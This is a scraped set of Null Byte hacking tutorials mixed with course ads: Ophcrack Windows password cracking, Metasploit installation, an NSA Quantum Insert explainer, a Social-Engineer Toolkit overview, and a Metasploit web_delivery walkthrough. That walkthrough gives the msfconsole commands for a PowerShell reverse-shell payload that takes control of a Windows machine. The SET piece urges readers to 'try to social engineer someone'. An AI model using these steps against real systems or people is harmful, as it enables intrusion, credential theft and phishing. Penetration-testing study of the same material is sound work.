WebsitesNews:Simple XOR Text Encryption and Decryption in Visual C#News:The Basics Of Website MarketingHow To:Share Your Laptop's Wireless Internet with Ethernet Devices |
How to Recover a Windows Password with Ophcrack « Null Byte :: WonderHowTo | When Windows stores a password, it is done so by hashing the password in anLM hashand putting it in the Windows SAM file. In the scary moment that you lose your password, but don't want to pay some geek to have full root access to your computer, you need to recover it usingOphcrack. Ophcrack doesn't remove the password, or bypass it, it cracks the password hash usingrainbow tables.Ophcrack is favored to be used on a live CD medium. Windows has a security measure in place that disallows all access to the SAM file when the system is in use. To combat this, the partition and Windows file system must be mounted using a operating system that can load and run itself from memory. This prevents the Windows system from loading, and allows the SAM file to be read from.In today'sNull Byte, we are going to burn the Ophcrack medium to a disc, and run its tables against our Windows password to assess their strength.RequirementsA Windows installation on your hard driveA blank CDStep1Burn Ophcrack to a DiscWe need to burn our tool to a CD so we can boot from it and crack our SAM file.First, let's install some easy-to-use, free software to burn our ISO.DownloadFree ISO Burner.Download theOphcrack ISOthat corresponds to your OS.Open up Free ISO Burner and select the Ophcrack ISO file. Here is an example image from the website:Check offFinalize Disc.Set the burn speed to as low as you can. The slower the burn, the higher the quality it is. It also helps reduce turning CDs into a coffee coaster due to incorrectly burning the image.Click "Brun" (program typo).Step2Boot from OphcrackThrow the disc in your disc tray.Reboot your computer.Hit the button to get into the setup menu during boot time(variable f* key).Boot from the CD first.The software should have a popup window that runs the rainbow tables against your SAM file.I'm not sure how large Ophcrack tables are, but some people swear it has a greater than 90% success rate. I doubt it would on mine, with my ridiculous passwords.Please, come by theIRCand talk with me and other crew members! You can follow me onTwitterandG+to get Null Byte's latest updates.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viatintshoppeRelatedHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Recover Forgotten Wi-Fi Passwords in WindowsHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Reset or recover your Windows passwordHacking Windows 10:How to Find Sensitive & 'Deleted' Files RemotelyHow To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHow To:Lose Your Connection? This Add-On for Chrome and Firefox Helps You Recover Missing Text and Erased FormsSPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )How To:Reset Windows Password with a Windows CD or a Linux CDHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 3 (Recovering Deleted Files)How To:Recover the Admin password on a Microsoft Windows 7 PCHow To:Recover your Windows password and wipe hard diskHow To:Recover a lost Administrator password in JoomlaNews:Solve your rar password recovery problemHow To:Sneak into Your Roommate's Computer by Bypassing the Windows Login ScreenHow To:Permanently Delete Files to Protect Privacy and PasswordsHow To:Permanently Erase Data So That It Cannot be RecoveredHow To:Remove a Windows Password with a Linux Live CDHow To:Recover Deleted Files in LinuxRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Carve Saved Passwords Using CainHow To:log on Windows 7 with username & passwordHow To:Recover Deleted Files in WindowsHow To:Bypass Common Windows Restrictions, Activate God Mode, and MoreHow To:Recover WinRAR and Zip PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Bypass Windows and Linux PasswordsHow To:Reveal Saved Browser Passwords with JavaScript InjectionsSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftHow To:Make a Gmail Notifier in PythonHow To:Add Ctrl+Alt+Delete to Windows 7 LogonMastering Security, Part 1:How to Manage and Create Strong PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker Training |
Advice from a Hacker « Null Byte :: WonderHowTo | No content found. |
How to Hack Like a Pro: Getting Started with Metasploit « Null Byte :: WonderHowTo | This is my first contribution in an ongoing series on detailing the best free, open source hacking and penetration tools available. My goal is to show you some of the quality tools that IT security experts are using every day in their jobs as network security and pen-testing professionals. There are hundreds of tools out there, but I will focus and those that meet four key criteria:Open sourceFreeHigh qualityWidely used and trusted in the IT security/pen-testing communityAs such, no hacker/penetration tool box is complete without the addition of the versatile and powerfulMetasploit.What Is Metasploit?Metasploit is among the most widely used exploitation tools in the hacking/security field. It's used by both novices and advanced professionals.Insecure.Org, run byFyodor, the founder ofNmap, annually surveys security professionals for their opinion on the top security software. Metasploit has consistently ranked among the top ten since its inception and currently ranks second. That should give you some idea of how important Metasploit is in the security community.Metasploit is a self-described "framework" for cyber exploitation. As a framework, it eases the effort to exploit known vulnerabilities in networks, operating systems and applications, and to develop new exploits for new or unknown vulnerabilities. As of last Thursday, Project Basecamp announced the development of a Stuxnet-like module for Metasploit.Metasploit has developed aMeterpreterthat when loaded into a target system, makes maintaining access and controlling the target much easier. As such, every self-respecting hacker (and even those without self-respect) should have some basic knowledge of Metasploit. This series of articles will initially focus on conferring at least a rudimentary understanding of how Metasploit works and how it can be utilized by the hacker/penetration tester to own the box, download data and cover your tracks.A Little BackgroundMetasploit was developed in 2003 as an open source project by H.D. Moore. Originally developed in PERL, the developer team rewrote Metasploit in Ruby in 2007. This is critical, because you need to have Ruby on your system in order to run Metasploit and to develop your own exploits.After many years of success in the hacker/penetration tester community, it was purchased by Rapid7 in 2009. After its purchase, the Metaspoloit framework was split into three versions. Two are commercial versions; Metasploit Express and Metasploit Professional, the latter selling for $1800. These two have nice GUIs and numerous bells and whistles, including the automation of several attacks, but there is still a free and open source community edition known as the Metasploit Community.Fortunately, some independent developers atArmitagehave created a free and open source GUI for Metasploit that is both beautiful and elegant, for those that prefer the point-and-click mode of operation.There is a Windows version of Metasploit, but many of the features (raw IP packet injection, wireless driver exploitation, SMB relaying attacks, etc.) are unavailable in the Windows environment, though some of these limitations can be overcome by using Cygwin or running Windows in a virtual environment on Linux.For these and other reasons, we will commence this series using the more flexible command line interface (CLI) version in Linux, and eventually we will install and use the Armitage GUI.Download and InstallationThe first step in our process is to download and install Metasploit. Although there is aWindows version, I will focus on the Linux version because of its greater flexibility and capability. Let's walk through the download and installation on my favorite Linux distro, Ubuntu.To install the latest version of the Metasploit 4 Framework (MSF4) on Ubuntu 10.04 (or any other Debian-based distros), use the following commands. This downloads and installs the generic Linux binary which comes bundled with all the necessary components you need for Metasploit to install and run. This should work for most users and is the easiest and quickest way to get the Metasploit Framework running under Ubuntu and other Debian-based Linux distros.First open a terminal window and type:wget http://updates.metasploit.com/data/releases/framework-4.0.0-linux-full.runIf you're installing on a 64-bit build of Ubuntu, use this instead:wget http://updates.metasploit.com/data/releases/framework-4.0.0-linux-x64-full.runThis downloads the current version of the Metasploit framework viaWget.Before you can run the installer, you need to make it executable. In the terminal, you must change the mode to execute (x) for Metasploit:chmod +x framework-4.*-linux-full.runAnd now execute the installer by getting root privileges by typing sudo and ./ with the name of our package:sudo ./framework-4.*-linux-full.runYou should then be prompted for your root password. After entering that, you should get a screen that looks something like this:Go ahead and clickForward.Agree to the terms of the license agreement and clickForward.I suggest that you selectYesfor automatic updates so that your exploit framework has the latest and greatest updates. ClickForward.Here, Metasploit is asking whether you want to insert a different service script. You can just accept the default and hitForward.Be patient now; it will take Metasploit a few minutes to install and build your database. After it's done, you are ready to run Metasploit. Simply type:msfconsoleFinally, you should be greeted by this screen.You have now successfully installed the world's best open source exploit framework and you are ready to begin system/network exploitation and pen testing!Please note that in my installation here, it warns me that updating is recommended as the last update was 249 days ago. If you want to update your framework, then type:sudo msfupdateIn my next article, we will look at the terminology and components of Metaspolit and then initiate a tried and true exploit.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPMac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:Hacking the Heartbleed VulnerabilityHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Run an VNC Server on Win7Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterDrive-By Hacking:How to Root a Windows Box by Walking Past ItHow To:The Official Google+ Insider's Guide IndexTHE FILM LAB:Intro to Final Cut Pro - 02IPsec Tools of the Trade:Don't Bring a Knife to a GunfightWATCH THIS INSTEAD:Fast FiveWATCH THIS INSTEAD:Water For Elephants |
Become a Data-Driven Leader with This Certification Bundle « Null Byte :: WonderHowTo | If you're interested in becoming an in-demand project manager or leader in today's data-driven world, you need to know more than just a few generic management strategies to lead teams and companies successfully.To land the best and most respected positions in the field, you're going to have to have an in-depth understanding of the latest analytical methods that are used to streamline innovation and eliminate wasteful spending. And you're going to need to have the certifications to boot.TheUltimate PMP, Six Sigma & Minitab Certification Bundlewill give you the skills you need to become a successful manager in a wide range of corporate environments regardless of your previous experience, and it's available for over 95% off at just $49.99.With 12 courses that cover a variety of industry-recognized certifications for management and data analysis (including PMP®, Six Sigma, and Minitab), this bundle will teach you how to become an effective leader while driving innovation at your company.Through hands-on lessons taught by seasoned instructors through the Advanced Innovation Group Pro Excellence (AIGPE) platform, you'll quickly learn how to use data and careful analysis to solve complex problems, hit goals faster, eliminate waste that's holding your projects back, and more.Each lesson in this bundle is geared toward helping you ace the exams for specific certifications like the Six Sigma Black Belt and Green Belt certifications, and you'll have unlimited access to all updates for life.Give yourself the skills and certifications you need to lead teams successfully in a data-driven world. Usually priced at nearly $2,000, the Ultimate PMP, Six Sigma & Minitab Certification Bundle is on sale today forjust $49.99— over 95% off for a limited time.Prices are subject to change.Ultimate PMP, Six Sigma & Minitab Certification Bundle for $49.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Become an In-Demand IT Pro with This Cisco TrainingHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Prep for a Lucrative Project Management Career with These CoursesHow To:Master Adobe's Top Design Tools for Under $50 Right NowHow To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:You Can Learn the Data Science Essentials at Home in Just 14 HoursHow To:Get Project Manager Certifications with Help from Scrum, Agile & PMPDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Hack Your Business Skills with These Excel CoursesHow To:Become an In-Demand Data Scientist with 140+ Hours of TrainingHow To:This Extensive Python Training Is Under $40 TodayHow To:Become a Big Data Expert with This 10-Course BundleHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformHow To:Become a Productive Microsoft Apps Power User with 97% Off This Course BundleHow To:Master Excel with This Certification BundleHow To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayHow To:8 Web Courses to Supplement Your Hacking KnowledgeHow To:Become a Data Wizard with This Microsoft Excel & Power BI TrainingHow To:Here's the Ultimate Guide to Becoming a Data NinjaHow To:Make Your New Year's Resolution to Master Azure with This BundleHow To:The One Engineering Certification You Don't Want to MissHow To:Become an Expert Data-Driven Project Manager for Under $50How To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:Learn the Essential Skills to Start a Career in IT with This Affordable Online TrainingHow To:Learn the Most Widely Used Programming Language for $35How To:Add MATLAB to Your Programming Toolkit with This BundleHow To:These High-Quality Courses Are Only $49.99How To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:Harness the Power of Big Data with This 10-Course BundleNews:You Can Master Adobe's Hottest Tools from Home for Only $34How To:Explore Data Analysis & Deep Learning with This $40 Training BundleHow To:Take Your Productivity to the Next Level with This Google Masterclass BundleHow To:Become an In-Demand Cybersecurity Pro with This $30 TrainingHow To:Master the Internet of Things with This Certification BundleHow To:Master Python with This Top-Rated Bundle for Just $30How To:This Course Bundle Will Teach You How to Start & Grow a Business |
Hack Like a Pro: How to Hack Like the NSA (Using Quantum Insert) « Null Byte :: WonderHowTo | Welcome back, my greenhorn hackers!Over the years, I have written many articles here on Null Byte chronicling the many the hacks of the NSA, includingthe recent hack of the Juniper Networks VPN. (By the way, my speculation in that article has proven to be correct. The NSAdidembed a backdoor on those devices.)Many readers here have expressed surprise, condemnation, and a bit of admiration at the capabilities and tools of the NSA. Much of that is undeserved. The NSA has legal authority to tap resources that none of us do (such as the ISPs and backdoors) as well as supercomputers and other powerful devices that assist them in their hacks. Sometimes, though, the NSA does something innovative and creative. It is one those hacks that I would detail here.A few years back, specifically 2013, the NSA and GCHQ (Britain's equivalent agency to the NSA) implemented a hack that came to be known as the "Quantum Insert." It was used against officials of OPEC and Belgacom (Belgium's telecom service), and is a variation on classicMitM attacksbut with a bit of a twist.Let's take a moment to break it down here and see if we could do the same.Step 1: Monitor/Recon the TargetThe first step in the Quantum Insert attack is tomonitor/reconthe target. The NSA has access to the ISPs and can see all the traffic from the target. From a non-NSA hacker, this would likely require being inside the local area network.For instance, if we are inside the target's LAN we may be able to sniff on the target's network. If we can do that, we can use sniffers such asTcpdumporWiresharkand filter by the target's IP address. We could automate this process by puttingSnorton the LAN and write a rule to see and alert traffic from the target's IP address. In this way, we could develop a pattern of the target's web browsing activity.Step 2: Predict the Target's Browsing HabitsAs we watch the target, we can see the target's browsing habits. In this way, we can predict what websites that the target is likely to go to each day. In the case of this hack by the NSA, they observed regular traffic to LinkedIn and Slashdot. Based upon what the attacker reconned, they can begin to develop a appropriate hacking strategy.Step 3: Build a Fake Web Server Near the TargetNow that the attacker know what websites the target is likely to visit, they can plan the attack. The key is to "insert" an HTTP reply from our fake website when the target requests the website with a HTTP request.If we can beat the legitimate website's reply, the target will get the bogus website. This is often referred to as a "race condition." If the attacker's fake HTTP reply arrives at the target before the legitimate reply—if only by a millisecond—the attacker will have won the race and the legitimate reply will be discarded when it arrives. Although the attacker may not win the "race condition" every time, they only need to win once.Of course, we need a web server and an exact replica of the legitimate website. We can useApacheas our web server andHTTrackto download an exact copy of the website. The closer the proximity of the attacker's web server is to the target, the faster the HTTP reply will arrive at the target.Although the NSA used this race condition, we could also useDnsspoofto redirect the target's request to our website, if we are on the local network. The problem with this approach is that avigilant security adminis likely to see the Dnsspoof packets and the rogue web server on the LAN—but not every security admin is vigilant.When the bogus webpage arrives, it contains thepayload/rootkitthat is inserted into the target's system. As we know, there are numerousAdobe Flashvulnerabilities we can take advantage of as well as almost innumerable browser vulnerabilities. We would have to determine which exploit to use based upon our recon/monitoring in Step #1. For instance, if we determine that the target is using a Firefox browser, we would find a Firefox exploit and embed it in the webpage they request.Step 4: Own the System!Now that the NSA/attacker has been able to send the malicious webpage to the target, the rootkit is embedded into the target's system and the attacker now own's the target's system!Thanks to WikiLeaks and Edward Snowden for the diagrams. Sometimes we can learn by observing other hackers successful exploits and the NSA is no different.Keep coming back, my greenhorn hackers, as we develop the most valuable skill set of the 21st century—hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:The Hacking of Blackhat, the MovieHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)News:What REALLY Happened with the Juniper Networks Hack?How To:What to Do if You Accidentally Liked a Photo on InstagramHow To:Draw VegetaNews:Firefox Mobile Just Got Faster — New Browser Engine Brings Quantum's Speed to AndroidHow To:Walkthrough the James Bond video game Quantum of Solace for PlayStation 3Instagram 101:How to Share Photos to Instagram Stories Past 24 HoursNews:What to Expect from Null Byte in 2015News:What the Heck Was Stuxnet!?How To:9 Oreo Hacks That Make Life Worth LivingNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTHow To:Hide All of the Social Numbers on Your Facebook Page with the DemetricatorNews:The Best Apps for Customized Cover Photos on Your Facebook TimelineNews:Apple Worries They're Being Bugged; Now They're Doing Something About ItHow To:This Quick & Easy Shortcut Minces Garlic in SecondsNews:James Bond - Quantum of SolaceNews:Quantum of Solace meets The Incredibles Trailer MashupHack Like a Pro:Creating Your Own Prism ProgramNews:Laphroaig WhiskyNews:Guess who else likes car cake.Whistleblower:The NSA is Lying–U.S. Government Has Copies of Most of Your EmaNull Byte:Never Let Us DieNews:NSA Axes Printed SCRABBLE News in Favor of Online PDFsNews:Anne Hathaway Is a Scrabble FiendContest:Potassium Nitrate CrystalsNews:Super Easy Piston ElevatorNews:Minecraft Super Compact Block ChangerNews:Online E-Commerce Video Games RetailersNews:Thrifty and Chic - PVC Pipe Mirror FramesNews:Slow Motion Footage of Surfers from Jaws Beach, HawaiiWATCH THIS INSTEAD:Fast FiveWATCH THIS INSTEAD:Water For ElephantsNews:REVIEW - PaulWATCH THIS INSTEAD:No Strings AttachedNews:>> To Start in a Good way =)How To:Hack Coin-Operated Laudromat Machines for Free Wash & Dry CyclesNews:Gardening additionsNews:Getting to Know Google's Community Managers |
This Extensive Adobe Design Training Is on Sale for Just $50 « Null Byte :: WonderHowTo | If you want to be truly competitive and successful in the world of web and app development, it's not enough to simply know a handful of programming languages and coding platforms. Today's best sites and apps require pro-level graphics and user interfaces, and knowing how to work with a wide range of graphic design tools is essential if you want to land lucrative positions as either an employee or a freelancer.ThePrestige Adobe Suite UI/UX Certification Bundlewill get you up to speed with the most powerful and popular Adobe design apps so you can take your websites and apps to the next level, and it's on sale today for over 95% off at just $49.99.This 11-course bundle comes with 100 hours of content that walks you through both the basics and more advanced elements of go-to design platforms like Adobe XD, After Effects, Photoshop, Premiere Pro, and much more.Regardless of your previous experience working with these programs, you'll learn how to build detailed and responsive user interfaces for your projects using Adobe XD, how to work with After Effects to make stunning graphics for any digital design project, how to work with Premiere Pro to create and edit videos that can be shared in any online medium, and much more.There's also plenty of instruction that will help you take advantage of Photoshop's more esoteric editing tools, along with dozens of lessons that teach you how to create animations that can be used to engage users and sell products online.Round out your development portfolio by learning how to create pro-level designs and images for your websites and apps. Usually priced at over $1,700, the Prestige Adobe Suite UI/UX Certification Bundle is available right now forjust $49.99—over 95% off for a limited time.Prices are subject to change.Check It Out:Prestige Adobe Suite UI/UX Certification Bundle for Just $49.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Master Adobe's Top Design Tools for Under $50 Right NowNews:The Best Black Friday 2018 Deals on Headphones for Your SmartphoneNews:Google's Newest Nexus Phones Return to Record Low Prices (With Freebies!)How To:Google Just Slashed Its New Nexus Phones to the Cheapest Price We've Ever SeenHow To:Everything You Wanted to Learn About Adobe for Under $50Market Reality:Level Ex Closes $11 Million in Financing, While Gaze Coin Seeks $12 Million through ICOHow To:Become a UX/UI Expert in 100 Hours for Under $50How To:Become a Big Data Expert with This 10-Course BundleNews:You Can Master Adobe's Hottest Tools from Home for Only $34News:The Best Black Friday 2017 Deals on SmartwatchesNews:The Best Black Friday 2017 Speaker Deals for Your SmartphoneNews:All the Best Black Friday 2019 Deals on Smartphone AccessoriesNews:The Best Black Friday 2018 Deals on iPhonesNews:Leap Motion Closes $50 Million in Series C FundingNews:Apple Blames Slow Sales on iPhone 8 RumorsHow To:Create a web 2.0 style badge in IllustratorNews:The Best Black Friday Deals on Android Phones from Best Buy, Walmart & MoreHow To:Draw a Thanksgiving turkey in Illustrator step by stepNews:The Best Black Friday 2019 Deals on Headphones for Your SmartphoneNews:The LG V35 ThinQ Will Come with a Hefty Price TagNews:Here's Why You Should Be Wary of Amazon's $50 Phone DealsHow To:Ink comic books in Adobe IllustratorHow To:Design a club flyer for print in Adobe PhotoshopHow To:Get started using Adobe BridgeHow To:This Extensive Python Training Is Under $40 TodayHow To:Upgrade Your Audio with This Powerful Bluetooth Speaker, Now on Sale for Less Than $50News:Here's How Much Money Samsung Will Give You for Trading in Your Current Phone for an S10News:Flying with SurfboardsNews:Network Admin? You Might Become a Criminal SoonNews:LEGO Cable Camera RigNews:Seize the Lightning! Carpe Fulgur Imports Japanese Indie Games to the U.S.How To:Make a BB Machine Gun from a Soda BottleLiveOps:High Paying Home Call OperatorNews:Top 10 Christmas Gift Ideas for the SCRABBLE EnthusiastNews:Wild West ThemeNews:Price Drop! Xbox 360 Arcade now $149!News:Sales Stats Show that Gamers Prefer Downloads Over DiscsNews:Android Reaches 10 Billion Downloads; Celebrate with Minecraft for $0.10!News:Kindle Scrabble app sale!News:The SCRABBLE Keyboard |
How to Use "SET", the Social-Engineer Toolkit « Null Byte :: WonderHowTo | Welcome back my social engineers/hackarians! Today we'll be lookinginto a fantastic piece of software, The Social-Engineer Toolkit or just SET for short. SET is designed, Developed and used by several Social-engineers. So... Let's get started!Getting FamiliarWhen you boot up SET you'll see this screen:Now we are able to pick one of the options listed aboveWe'll use:>1) Social engineering attacks>2) Fast-track penetration testingThe other options are not important. So what happens when we press1We'll get this screen:Now there are numerous of things here so let's look into that!Spear-Phishing Attack VectorsThis tool allows you to send e-mails with a malicious file as payload.Website Attack VectorsThis tool allows you to create a malicious website link.Infectious Media GeneratorThis tool creates a payload and a .ini file for a usb,cd or dvd injection.Create a Payload and ListenerStraightforward just creates a .exe file and opens a listener.Mass Mailer AttackThis tool will send e-mails to the target.Arduino-Based Attack VectorFor use with a "teensy usb."SMS Spoofing Attack VectorWith this tool you'll be able to craft sms messages and send them.Wireless Access Point Attack VectorShould be straightforward.QRCode Generator Attack VectorGenerates a QRCode to a specific URL.Powershell Attack VectorsThis will allow you to use Powershell exploits (powershell is available on windows vista and above.)Third Party ModulesWill allow you to browse for more add-ons.Step 1: Getting Started!I won't create a whole tutorial about the different options available in SET because it's justtomuch. Also SET is pretty straightforward. For example, in metasploit you'll need to use set RHOST:xxx.xxx.xxx.xxx. SET just asks: What is the remote host? ==> xxx.xxx.xxx.xxxSo go ahead and try to social engineer someone, and i hope this helps.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHow To:Use Social Engineering to Hack ComputersThe Hacks of Mr. Robot:How to Send a Spoofed SMS Text MessageHow To:Bypass Antivirus Using Powershell and Metasploit (Kali Tutorial)Social Engineering:The Most Powerful HackHack Like a Pro:The Ultimate Social Engineering HackHow To:Learn the Secrets of PsychologyHow To:Create & Obfuscate a Virus Inside of a Microsoft Word DocumentHow To:Make Your Remote Screenshot Captor(Python)Listen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Listen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersNews:Live Social EngineeringHow To:Proof of Social Engineering Success!Social Engineering, Part 1:Scoring a Free Cell PhoneWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)Drive-By Hacking:How to Root a Windows Box by Walking Past ItHow To:Social Engineer Your Way Into an Amusement Park for FreeSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Google social web engineer Joseph Smarr talks about lessons from Google+How To:Score Free Game Product Keys with Social EngineeringSocial Engineering:The BasicsHow To:recognize Crowd Control - Part 1How To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab Phishing |
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows) « Null Byte :: WonderHowTo | Welcome back, my hacker novitiates!Inthe previous part of this series, we looked at how to useMetasploit's web delivery exploit to create a script to connect to a UNIX, Linux, or OS X machine using Python. Many members of the Null Byte community have asked me, "Can we do the same for a Windows systems?" The answer is YES!Although the web delivery exploit will work on Windows systems that have Python installed, few Windows systems actually have Python installed while nearly ever UNIX, Linux, and OS X has Python installed by default. Fortunately, those Windows systems do havePowerShellinstalled by default, and we can use it with Metasploit's web delivery exploit to take control of those systems.In this tutorial, we will use Metasploit's web delivery exploit to take control of a Windows system through its PowerShell.Step 1: Start MetasploitTo begin, fire up yourKalisystem, open a terminal, and startMetasploit.kali > msfconsoleStep 2: Loading the Web Delivery ExploitLike already mentioned above, using Metasploit's web delivery is very similar to web delivery on Unix, Linux, and OS X systems except that Windows systems don't have Python installed by default. But they do have WindowsPowerShell, and there is a web delivery module for that.Let's load the web delivery exploit in Metasploit:msf > use exploit/multi/script/web_deliveryNext, we need to set the LHOST and LPORT exactly like we did with the Unix/Linux/OS X web delivery exploit.msf > set LHOST 192.1681.153msf > set LPORT 4444Next, we need to set the URIPATH. This can be set to anything you please. I set it here to "powersploit", but you can set it to anything you like.msf > set URIPATH powersploitStep 3: Set the Target to PowerShellBy default, the web delivery exploit in Metasploit uses Python scripts. To use the Windows-basedPowerShelloption, we need to set the target to 2.msf > set target 2With the target set to 2, Metasploit will create a PowerShell script when we are ready to exploit.Step 4: Set the PayloadLastly, we need to set the payload. Let's use thewindows/powershell_reverse_tcppayload.msf > set payload windows/powershell_reverse_tcpBefore we start the exploit, set checks the options to see whether we have all of them set properly.Now, we can typeexploitand Metasploit will start a small web server in the background and generate a command for us to use on the Windows system.Next, open a command prompt on the target Windows system and run that command like below.When you hit enter, that command will open a connection to the attack machine.Now, on the attack system, we can check to see whether the session has opened by typing:sessions -lAs you can see above, we have a session opened with an ID of 1. We can use that session by typing:sessions -i 1Where 1 is the ID of the session. If your session ID is different, such as 2, 3, etc., you should use that ID in the command above.Now we have a session on the Windows machine. Success! We can now check to see the running processes on the target system by typing:PS C: \Users\OTW > Get-ProcessNow, that we are connected to the Windows machine's PowerShell, we can run any of thePowerShell"command-lets" as well as the most common Linux commands.In a future tutorial, I will show you how to use the PowerSploit modules to gain even more control and access on that Windows machine, so keep coming back, my hacker novitiates!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Getting Started with MetasploitNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web 